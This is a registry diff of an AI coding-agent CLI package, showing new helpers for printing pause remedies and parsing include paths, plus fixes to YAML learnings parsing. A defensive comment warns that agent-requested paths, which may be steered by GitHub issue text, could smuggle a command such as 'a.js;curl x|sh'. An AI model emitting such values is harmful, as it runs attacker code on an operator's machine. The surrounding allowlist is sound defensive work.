@hone-ai/cli 1.34.0 → 1.35.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. package/bin/hone-mcp.js +1 -0
  2. package/hone-cli.js +1341 -795
  3. package/lib/agent-eval-pacing.js +102 -0
  4. package/lib/agent-eval-probes-boundary.js +0 -0
  5. package/lib/agent-eval-probes-stateful.js +72 -0
  6. package/lib/agent-eval-score.js +70 -0
  7. package/lib/agent-executor.js +26 -4
  8. package/lib/asset-fetch-list.js +72 -0
  9. package/lib/auto-verify.js +67 -3
  10. package/lib/batch-follow.js +333 -0
  11. package/lib/block-grammar.js +126 -0
  12. package/lib/bundle-context.js +43 -4
  13. package/lib/bundle-paths.js +698 -1
  14. package/lib/bundle-source-dirs.js +79 -0
  15. package/lib/doctor-bind-default.js +192 -18
  16. package/lib/doctor-local-run.js +139 -1
  17. package/lib/emit-pr.js +39 -6
  18. package/lib/git-helpers.js +19 -8
  19. package/lib/hard-pause-remedy.js +101 -0
  20. package/lib/include-paths.js +155 -0
  21. package/lib/learnings-parse.js +97 -7
  22. package/lib/materialize-diff.js +131 -73
  23. package/lib/mcp-tools.js +20 -14
  24. package/lib/pipeline-config.js +182 -0
  25. package/lib/private-temp.js +52 -0
  26. package/lib/promote-payload.js +77 -0
  27. package/lib/refresh-knowledge.js +15 -6
  28. package/lib/repo-tree.js +22 -3
  29. package/lib/run-context.js +698 -0
  30. package/lib/run-target.js +66 -1
  31. package/lib/sandbox-lifecycle.js +357 -0
  32. package/lib/schedule-cron.js +1 -1
  33. package/lib/skill-assertions.js +61 -7
  34. package/lib/skill-audit-render.js +1 -1
  35. package/lib/story-classifier-extract.js +16 -8
  36. package/lib/story-classifier.js +64 -0
  37. package/lib/story-compose.js +69 -0
  38. package/lib/story-line.js +40 -0
  39. package/lib/story-provenance.js +267 -0
  40. package/lib/timeout-option.js +42 -0
  41. package/lib/untrusted-code-env.js +51 -0
  42. package/lib/verdict-env.js +31 -0
  43. package/lib/verify-patch.js +74 -4
  44. package/lib/verify-pr.js +2 -1
  45. package/lib/worktree-provision.js +62 -2
  46. package/package.json +1 -1
@@ -0,0 +1,101 @@
1
+ 'use strict';
2
+ /**
3
+ * hard-pause-remedy.js — HC-GF-263: render a paused run's parsed context request.
4
+ *
5
+ * The CLI prints the truncated `errorMessage` at a pause and nothing else, and on a HUMAN_GATE
6
+ * outcome it prints no reason at all (`⏳ Step … — awaiting approval`). The server now records
7
+ * what the step ASKED FOR in `workflow_step_results.failure_record.context_requests`, projected
8
+ * by the existing GET diagnostics allowlist. This turns it into one pasteable line.
9
+ *
10
+ * PURE: data in, strings out. No fs, no console, no process.
11
+ *
12
+ * TOLERANT OF AN OLDER SERVER BY CONSTRUCTION. A missing `diagnostics`, a null `failure_record`,
13
+ * a `context_requests` of the wrong shape and an empty `paths` all return null, which is today's
14
+ * output. That is what makes the deploy order free: server-first works because the CLI ignores
15
+ * the new key, CLI-first works because the key is simply absent.
16
+ */
17
+
18
+ /**
19
+ * The request belonging to the step the run is PAUSED AT, or null.
20
+ *
21
+ * SCOPED TO `currentStep`, NOT "the newest step that has one". `failure_record` is durable, so
22
+ * once step_1 hard-pauses with a remedy that row keeps it for the life of the run. A reverse
23
+ * scan over every step then prints step_1's files at an unrelated step_4 gate — a command
24
+ * attributed to nothing, at a step that asked for nothing.
25
+ *
26
+ * That is HC-GF-047's lesson one layer up, and orchestrator.js quotes it verbatim: "a
27
+ * stale-but-plausible instruction is worse than none, because the builder acts on it". A
28
+ * printed re-queue command is exactly the kind an operator acts on without re-deriving it.
29
+ *
30
+ * Returning null for a gate with no request of its own is correct and is today's output.
31
+ *
32
+ * @param {object} status a GET /orchestrate/:runId payload, straight off the network and
33
+ * therefore not trusted to have any particular shape
34
+ * @returns {{stepKey: string, paths: Array<object>, truncated: boolean}|null}
35
+ */
36
+ function remedyFor(status) {
37
+ const s = (status && typeof status === 'object') ? status : {};
38
+ const steps = Array.isArray(s.steps) ? s.steps : [];
39
+ const step = steps.find((x) => x && typeof x === 'object' && x.stepKey === s.currentStep);
40
+ if (!step) return null;
41
+ const diag = step.diagnostics;
42
+ if (!diag || typeof diag !== 'object') return null;
43
+ const rec = diag.failure_record;
44
+ if (!rec || typeof rec !== 'object') return null;
45
+ const req = rec.context_requests;
46
+ if (!req || typeof req !== 'object' || Array.isArray(req)) return null;
47
+ const paths = Array.isArray(req.paths) ? req.paths.filter((p) => p && p.path) : [];
48
+ if (paths.length === 0) return null;
49
+ return { stepKey: step.stepKey, paths, truncated: req.truncated === true };
50
+ }
51
+
52
+ /**
53
+ * H5 — THIS MODULE IS THE TRUST BOUNDARY. Every token it prints came out of an LLM artifact, and
54
+ * the line it builds exists to be pasted into a shell. The agent's input is not trusted either:
55
+ * bundled adopter source and the story text (which can come from a GitHub issue) both reach it,
56
+ * so a "path" like `a.js;curl x|sh` or one carrying a terminal escape is a plausible artifact.
57
+ *
58
+ * DROP AND COUNT, never shell-quote. A token outside this set is far likelier to be a parse
59
+ * artifact than a real filename, and a silently quoted oddity is a command that runs and does
60
+ * nothing. A LEADING DASH is refused too: `--include-paths -rf` parses as an option, not a path.
61
+ * The parser upstream stays total — it records what the agent wrote; only printing is guarded.
62
+ */
63
+ const SAFE_TOKEN = /^[\w./:@+-]+$/;
64
+ const SAFE_STORY_ID = /^[\w.-]+$/;
65
+
66
+ function tokenOf(p) {
67
+ return p.raw || (p.anchor ? `${p.path}:${p.anchor}` : p.path);
68
+ }
69
+
70
+ function isSafeToken(t) {
71
+ return typeof t === 'string' && t.length > 0 && SAFE_TOKEN.test(t) && !t.startsWith('-');
72
+ }
73
+
74
+ /** Split requested paths into the ones safe to print and the ones dropped, so a caller can say so. */
75
+ function partitionSafePaths(paths) {
76
+ const list = Array.isArray(paths) ? paths.filter((p) => p && p.path) : [];
77
+ const safe = [];
78
+ const dropped = [];
79
+ for (const p of list) (isSafeToken(tokenOf(p)) ? safe : dropped).push(p);
80
+ return { safe, dropped };
81
+ }
82
+
83
+ /**
84
+ * One ready-to-paste command, built from the SAFE paths only.
85
+ *
86
+ * REPEATED FLAGS, not a comma list: `collectIncludePaths` accumulates every occurrence
87
+ * (HC-GF-202), and the repeated form is what the CLI's own warning already tells operators to
88
+ * use. `raw` is preferred over re-joining path+anchor so a `path:symbol` anchor survives exactly
89
+ * as the agent wrote it.
90
+ *
91
+ * A missing OR UNSAFE storyId renders the literal `<story-id>` — a command that visibly needs one
92
+ * edit beats one that looks correct and is not, or one that runs something else.
93
+ */
94
+ function renderIncludePathsCommand(storyId, paths) {
95
+ const { safe } = partitionSafePaths(paths);
96
+ if (safe.length === 0) return '';
97
+ const id = storyId && SAFE_STORY_ID.test(String(storyId)) ? String(storyId) : '<story-id>';
98
+ return `hone run-story ${id} ${safe.map((p) => `--include-paths ${tokenOf(p)}`).join(' ')}`;
99
+ }
100
+
101
+ module.exports = { remedyFor, renderIncludePathsCommand, partitionSafePaths };
@@ -0,0 +1,155 @@
1
+ 'use strict';
2
+ /**
3
+ * `--include-paths` is the operator's escape hatch when the bundler cannot see a
4
+ * file the story needs. HC-GF-202: it accepted only ONE form.
5
+ *
6
+ * The option is declared `<paths>`, single-valued and comma-separated, so
7
+ * commander keeps the LAST occurrence when the flag is repeated. The planner's
8
+ * own refusal printed `--include-paths Makefile --include-paths scripts/`, which
9
+ * therefore resolved to `"scripts/"` and silently dropped `Makefile` — an
10
+ * operator who followed the instruction exactly received a byte-identical bundle
11
+ * to having passed nothing at all. Measured twice, 7,621 chars each.
12
+ *
13
+ * Both forms are now accepted. The advice the planner prints is correct and is
14
+ * the cheapest escape hatch the bundler has; the flag honours it.
15
+ */
16
+
17
+ /**
18
+ * commander collector: accumulate every occurrence instead of replacing.
19
+ * Declared as `.option('--include-paths <paths>', desc, collectIncludePaths, [])`.
20
+ */
21
+ function collectIncludePaths(value, previous) {
22
+ return (Array.isArray(previous) ? previous : []).concat([value]);
23
+ }
24
+
25
+ /**
26
+ * Normalise whatever the flag produced into an ordered, de-duplicated path list.
27
+ * Accepts a bare string (comma form), an array (repeated flags), or a mix.
28
+ */
29
+ function parseIncludePaths(raw) {
30
+ if (raw === undefined || raw === null) return [];
31
+ const parts = Array.isArray(raw) ? raw : [raw];
32
+ const out = [];
33
+ for (const part of parts) {
34
+ for (const piece of String(part).split(',')) {
35
+ const p = piece.trim();
36
+ // An empty entry would become a candidate path of '', which existsSync
37
+ // answers false for — a silent no-op indistinguishable from a typo.
38
+ if (!p) continue;
39
+ if (!out.includes(p)) out.push(p);
40
+ }
41
+ }
42
+ return out;
43
+ }
44
+
45
+ /**
46
+ * Split one `--include-paths` entry into the file and the region inside it.
47
+ *
48
+ * HC-GF-205: `planFileExcerpt` honours a `line`, and the bundler's own shortfall
49
+ * notice tells the operator to "name them as `path:<line>` to bundle one
50
+ * directly". But the flag added the RAW string as a candidate path, so
51
+ * `cli/hone-cli.js:8500` was looked up as a filename, `existsSync` said no, and
52
+ * the entry vanished with no message — the file then fell back to inferred
53
+ * anchors and bundled the same wrong regions. The remedy the tool printed was a
54
+ * form the tool did not accept.
55
+ *
56
+ * A SYMBOL is accepted as well as a line. The refusals name symbols ("the block
57
+ * that calls `provisionWorktree`"); an operator can copy one out of a refusal,
58
+ * but to use the numeric form they must open the file and count.
59
+ *
60
+ * Deliberately strict: only a positive integer is a line, and only a JS-style
61
+ * identifier is a symbol. Anything else stays part of the path, because
62
+ * reinterpreting a malformed entry is how a typo becomes a silent no-op.
63
+ */
64
+ function parseIncludeTarget(entry) {
65
+ const raw = String(entry === undefined || entry === null ? '' : entry).trim();
66
+ const mLine = raw.match(/^(.+):(\d+)$/);
67
+ if (mLine && Number(mLine[2]) > 0) {
68
+ return { raw, path: mLine[1], line: Number(mLine[2]), symbol: null };
69
+ }
70
+ const mSym = raw.match(/^(.+):([A-Za-z_$][\w$]*)$/);
71
+ if (mSym) return { raw, path: mSym[1], line: null, symbol: mSym[2] };
72
+ return { raw, path: raw, line: null, symbol: null };
73
+ }
74
+
75
+ /**
76
+ * Split include-path entries into those whose FILE exists and those that resolve
77
+ * to nothing. HC-GF-205: an entry that resolves to no file used to be dropped in
78
+ * silence, which is indistinguishable from it having been bundled — six attempts
79
+ * were spent before anyone noticed the flag had done nothing.
80
+ */
81
+ function partitionIncludeTargets(entries, exists) {
82
+ const resolved = [];
83
+ const missing = [];
84
+ for (const entry of parseIncludePaths(entries)) {
85
+ const target = parseIncludeTarget(entry);
86
+ (exists(target.path) ? resolved : missing).push(target);
87
+ }
88
+ return { resolved, missing };
89
+ }
90
+
91
+ /**
92
+ * Every line a file is EXPLICITLY anchored at, the operator's first — HC-GF-288.
93
+ *
94
+ * The bundler kept one line per file and filled it story-first, so an operator's
95
+ * `--include-paths f.js:N` for a file the story already cited as `f.js:M` was discarded
96
+ * with no message and M bundled again. Measured on run 31f78a92: five other anchors were
97
+ * honoured and `cli/hone-cli.js:6180` produced the same five regions as a run without it.
98
+ * An operator names a region because the bundle lacked it, usually on the pipeline's own
99
+ * advice (HC-GF-263 prints the command), so ignoring it repeats the refusal that prompted it.
100
+ *
101
+ * ALONGSIDE, NOT INSTEAD. The story's line stays, after the operator's: it is the region the
102
+ * agent already had and asked for MORE than, and dropping it trades one refusal for another.
103
+ * That is HC-GF-216's rule one layer up: a stated line seeds the spread, it never replaces it.
104
+ *
105
+ * A symbol resolves against the file's contents, so it can only be resolved here. One that
106
+ * does not resolve is returned in `unresolved`, never dropped in silence.
107
+ *
108
+ * @param {{path: string, content: string, operator?: Array<{raw: string, line: number|null, symbol: string|null}>, storyLine?: number|null}} input
109
+ * @returns {{anchors: Array<{line: number, raw: string, source: 'operator'|'story'}>, unresolved: Array<{raw: string, reason: string}>}}
110
+ */
111
+ function statedAnchorsFor({ path: filePath, content, operator = [], storyLine = null } = {}) {
112
+ const { definitionIndexOf } = require('./bundle-paths');
113
+ const text = String(content || '');
114
+ const anchors = [];
115
+ const unresolved = [];
116
+ const add = (line, raw, source) => {
117
+ if (!anchors.some((a) => a.line === line)) anchors.push({ line, raw, source });
118
+ };
119
+ for (const t of Array.isArray(operator) ? operator : []) {
120
+ if (t.line) { add(Number(t.line), t.raw, 'operator'); continue; }
121
+ if (!t.symbol) continue;
122
+ const idx = definitionIndexOf(text, t.symbol);
123
+ if (idx === -1) { unresolved.push({ raw: t.raw, reason: 'symbol not found in the file' }); continue; }
124
+ add(text.slice(0, idx).split('\n').length, t.raw, 'operator');
125
+ }
126
+ if (storyLine) add(Number(storyLine), `${filePath}:${storyLine}`, 'story');
127
+ return { anchors, unresolved };
128
+ }
129
+
130
+ /**
131
+ * One warning per stated anchor the excerpt planner could not honour — HC-GF-288.
132
+ *
133
+ * Named by what the operator TYPED (`raw`), so a `path:symbol` entry is reported as the
134
+ * symbol they passed, not as a line number they never saw.
135
+ *
136
+ * @param {Array<{line: number, raw: string, source: string}>} anchors from statedAnchorsFor
137
+ * @param {Array<{line: number, reason: string, totalLines: number}>} unhonoured from planFileExcerpt
138
+ * @returns {string[]}
139
+ */
140
+ function anchorWarnings(anchors, unhonoured) {
141
+ const out = [];
142
+ for (const u of Array.isArray(unhonoured) ? unhonoured : []) {
143
+ const a = (anchors || []).find((x) => x.line === u.line);
144
+ const who = a && a.source === 'story' ? `story reference '${a.raw}'` : `--include-paths '${a ? a.raw : u.line}'`;
145
+ out.push(u.reason === 'past-eof'
146
+ ? ` \u26a0 ${who} — the file has ${u.totalLines} lines; line ${u.line} does not exist, not anchored`
147
+ : ` \u26a0 ${who} — NOT bundled: this file's stated regions exceed its per-file cap; name fewer regions in it`);
148
+ }
149
+ return out;
150
+ }
151
+
152
+ module.exports = {
153
+ collectIncludePaths, parseIncludePaths, parseIncludeTarget, partitionIncludeTargets,
154
+ statedAnchorsFor, anchorWarnings,
155
+ };
@@ -122,8 +122,13 @@ function parseLearningsFile(content, opts = {}) {
122
122
  // LC-001: validateCategory may throw on malformed enum value. Catch and
123
123
  // surface as parseError rather than crashing the whole file walk.
124
124
  try {
125
- if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted), warning };
126
- if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted), warning };
125
+ // HC-GF-208: `warning` is not handed on by the A and B paths because it cannot
126
+ // exist there. It is set only for a non-array object carrying BOTH arrays: A
127
+ // requires Array.isArray(parsed), which that test excludes, and had both arrays
128
+ // been present C would have won detection, so B never sees one either. Passing a
129
+ // field that is always undefined reads like a carried value and is not one.
130
+ if (schema === SCHEMA_A) return { schema, eligible: parseSchemaA(parsed, includePromoted) };
131
+ if (schema === SCHEMA_B) return { schema, eligible: parseSchemaB(parsed, includePromoted) };
127
132
  if (schema === SCHEMA_C) return { schema, eligible: parseSchemaC(parsed, includePromoted), warning };
128
133
  if (schema === SCHEMA_D) return { schema, eligible: parseSchemaD(parsed, includePromoted), warning };
129
134
  } catch (e) {
@@ -150,9 +155,21 @@ function parseSchemaA(items, includePromoted = false) {
150
155
  // LC-001: optional categorization fields (G2 partial). All optional;
151
156
  // default null. validateCategory throws on malformed enum.
152
157
  category: validateCategory(i.category),
158
+ // HC-GF-264: `targetOf` checks `target_skill` FIRST and calls it "the most specific statement
159
+ // of intent there is". None of these four maps carried it, so that branch never executed in
160
+ // this repo and routing fell through to `agent` — the field that records who NOTICED.
161
+ // Measured 2026-09-24: 203 of 775 items set it and 150 routed elsewhere. This is HC-GF-159a's
162
+ // defect recurring on the field that fix introduced: it added `target_skill` to
163
+ // `PROMOTED_FIELDS` and to `targetOf`, and not to the parsers that feed them.
164
+ target_skill: i.target_skill || null,
153
165
  referenced_skill: i.referenced_skill || null,
154
166
  referenced_section: i.referenced_section || null,
155
167
  evidence: Array.isArray(i.evidence) ? i.evidence : (i.evidence ? [i.evidence] : null),
168
+ // HC-GF-159a: the legacy list format routes like the others. No file in this repo uses it,
169
+ // which is why its handoffs went unasserted — but an adopter's older files still can.
170
+ type: i.type || null,
171
+ agent: i.agent || null,
172
+ proposed_fix: typeof i.proposed_fix === 'string' ? i.proposed_fix : null,
156
173
  }));
157
174
  }
158
175
 
@@ -181,6 +198,10 @@ function parseSchemaB(doc, includePromoted = false) {
181
198
  // `candidate_for` already serves the role of referenced_skill, so
182
199
  // we fall back to it when the explicit field is absent.
183
200
  category: validateCategory(c.category),
201
+ // HC-GF-264. Deliberately no `|| c.candidate_for` here: `candidate_for` says which skill the
202
+ // work applied, which is what `referenced_skill` below already borrows it for. Reusing it as a
203
+ // destination would invent an intent the author did not state.
204
+ target_skill: c.target_skill || null,
184
205
  referenced_skill: c.referenced_skill || c.candidate_for || null,
185
206
  referenced_section: c.referenced_section || null,
186
207
  evidence: Array.isArray(c.evidence) ? c.evidence : (c.evidence ? [c.evidence] : null),
@@ -211,9 +232,15 @@ function parseSchemaC(doc, includePromoted = false) {
211
232
  _schema: SCHEMA_C,
212
233
  // LC-001: optional categorization fields (G2 partial).
213
234
  category: validateCategory(l.category),
235
+ target_skill: l.target_skill || null, // HC-GF-264
214
236
  referenced_skill: l.referenced_skill || null,
215
237
  referenced_section: l.referenced_section || null,
216
238
  evidence: Array.isArray(l.evidence) ? l.evidence : (l.evidence ? [l.evidence] : null),
239
+ // HC-GF-159a: the source YAML has carried these all along; dropping them here is why every
240
+ // promoted learning reached the server with `type: unknown` and no agent or fix text.
241
+ type: l.type || null,
242
+ agent: l.agent || null,
243
+ proposed_fix: typeof l.proposed_fix === 'string' ? l.proposed_fix : null,
217
244
  }));
218
245
  }
219
246
 
@@ -245,17 +272,67 @@ function parseSchemaD(doc, includePromoted = false) {
245
272
  enterprise_candidate: true,
246
273
  _schema: SCHEMA_D,
247
274
  category: validateCategory(doc.category),
275
+ target_skill: doc.target_skill || null, // HC-GF-264
248
276
  referenced_skill: doc.referenced_skill || null,
249
277
  referenced_section: doc.referenced_section || null,
250
278
  evidence: Array.isArray(doc.evidence) ? doc.evidence : (doc.evidence ? [doc.evidence] : null),
279
+ // HC-GF-159a: 119 of the 418 eligible learnings are Schema D. A fix covering only Schema C
280
+ // leaves those routing to 'general'.
281
+ type: doc.type || null,
282
+ agent: doc.agent || null,
283
+ proposed_fix: typeof doc.proposed_fix === 'string' ? doc.proposed_fix : null,
251
284
  }];
252
285
  }
253
286
 
287
+ // ─────────────────────────────────────────────────────────────────────
288
+ // parseRetracted — the entries `hone retract --from-yaml` sends
289
+ //
290
+ // HC-GF-311-followup-1: the retract action read only each file's TOP level, so a Schema C
291
+ // file offered its story frame, which has no `id`, and every per-learning
292
+ // `status: retracted` beneath it was skipped. Measured 2026-09-26 on
293
+ // origin/main: 14 retracted learnings in 12 files, and the dry-run found 0.
294
+ // Each id below is the one the matching parseSchemaX gives `hone promote`,
295
+ // because the server can only retract a row under the id it was promoted as.
296
+ // The id stays the value YAML loaded, not String(id): both commands send it
297
+ // through JSON, so `id: 2026-09-26` (a Date) arrives as the same ISO string.
298
+ // An entry with no id is skipped; promote sent those under the file name.
299
+ // A learning must say `retracted` itself: a story-level status is not
300
+ // inherited here, because a retraction is a claim about one learning.
301
+ // Returns { schema, retracted: [{ id, reason }], parseError? }; reason is
302
+ // null when the entry gives no `retraction_reason`.
303
+ // ─────────────────────────────────────────────────────────────────────
304
+ function parseRetracted(content) {
305
+ let parsed;
306
+ try { parsed = yaml.load(content); }
307
+ catch (e) { return { schema: SCHEMA_UNKNOWN, retracted: [], parseError: e }; }
308
+
309
+ const schema = detectSchema(parsed);
310
+ const isRetracted = (e) => e && typeof e === 'object' && e.status === 'retracted';
311
+ const entry = (id, e) => ({ id, reason: e.retraction_reason || null });
312
+
313
+ let retracted = [];
314
+ if (schema === SCHEMA_A) {
315
+ retracted = parsed.filter(i => isRetracted(i) && i.id).map(i => entry(i.id, i));
316
+ } else if (schema === SCHEMA_B) {
317
+ retracted = parsed.enterprise_candidates
318
+ .filter(c => isRetracted(c) && c.id !== null && c.id !== undefined)
319
+ .map(c => entry(`${parsed.story_id}-${c.id}`, c));
320
+ } else if (schema === SCHEMA_C) {
321
+ retracted = parsed.learnings.filter(l => isRetracted(l) && l.id).map(l => entry(l.id, l));
322
+ } else if (schema === SCHEMA_D) {
323
+ if (isRetracted(parsed) && (parsed.id || parsed.story_id)) retracted = [entry(parsed.id || parsed.story_id, parsed)];
324
+ } else if (isRetracted(parsed) && parsed.id) {
325
+ // Any other single dict keeps the top-level read the action always did.
326
+ retracted = [entry(parsed.id, parsed)];
327
+ }
328
+ return { schema, retracted };
329
+ }
330
+
254
331
  // ─────────────────────────────────────────────────────────────────────
255
332
  // writeBackPromoted — schema-aware idempotent regex rewrite
256
333
  //
257
334
  // All 3 schemas write per-item `status: promoted` because `hone retract`
258
- // at cli/hone-cli.js:1349 reads `entry?.status === 'retracted'` per-item.
335
+ // (parseRetracted above) reads `status: retracted` per-item.
259
336
  // Replacing per-item status with a top-level marker would break retract.
260
337
  // ─────────────────────────────────────────────────────────────────────
261
338
  function writeBackPromoted(content, schema, idsPromoted) {
@@ -279,7 +356,11 @@ function escapeRegex(s) {
279
356
  function writeBackA(content, ids) {
280
357
  for (const id of ids) {
281
358
  const escaped = escapeRegex(id);
282
- const idPattern = new RegExp(`(id:\\s*${escaped}[\\s\\S]*?status:\\s*)pending`, 'm');
359
+ // HC-GF-208: the gap below is lazy but was unbounded, so when the named item has
360
+ // no `status:` of its own it ran on to the NEXT item's and marked the WRONG
361
+ // learning promoted, leaving the named one pending forever. Stop at the next
362
+ // top-level `- id:` line, which is where this item's block ends.
363
+ const idPattern = new RegExp(`(id:\\s*${escaped}(?:(?!\\n- id:)[\\s\\S])*?status:\\s*)pending`, 'm');
283
364
  if (idPattern.test(content)) {
284
365
  content = content.replace(idPattern, '$1promoted');
285
366
  }
@@ -355,16 +436,24 @@ function rewriteWithStatusInsertion(content, matcher) {
355
436
  if (!r.matched) continue;
356
437
 
357
438
  // Look ahead through this item's block to detect existing status.
358
- let hasStatus = false;
439
+ let statusIdx = -1;
359
440
  for (let j = i + 1; j < lines.length; j++) {
360
441
  const next = lines[j];
361
442
  // End of block: next sibling id line at the same-or-lesser list indent.
362
443
  if (/^ {2,}- id:/.test(next)) break;
363
444
  // End of block: a non-indented (top-level) line means we've left the array.
364
445
  if (/^\S/.test(next)) break;
365
- if (/^ {4,}status:\s*\S/.test(next)) { hasStatus = true; break; }
446
+ if (/^ {4,}status:\s*\S/.test(next)) { statusIdx = j; break; }
366
447
  }
367
- if (!hasStatus) out.push(`${r.indent}status: promoted`);
448
+ if (statusIdx === -1) { out.push(`${r.indent}status: promoted`); continue; }
449
+ // HC-GF-208: an existing status line used to end the matter, so a learning
450
+ // authored with `status: pending` could never be flipped — it stayed eligible
451
+ // and was re-promoted on every run, while the write still reported success
452
+ // because the content came back byte-identical. Rewrite pending in place.
453
+ // Any other state (promoted, retracted) is deliberate and left alone: a
454
+ // retracted learning must not be silently re-promoted.
455
+ const st = lines[statusIdx].match(/^(\s*status:\s*)pending\s*$/);
456
+ if (st) lines[statusIdx] = `${st[1]}promoted`;
368
457
  }
369
458
  return out.join('\n');
370
459
  }
@@ -379,6 +468,7 @@ module.exports = {
379
468
  SCHEMA_UNKNOWN,
380
469
  detectSchema,
381
470
  parseLearningsFile,
471
+ parseRetracted,
382
472
  writeBackPromoted,
383
473
  // LC-001 / #58 G2 partial: categorization API (advisory).
384
474
  LEARNING_CATEGORIES,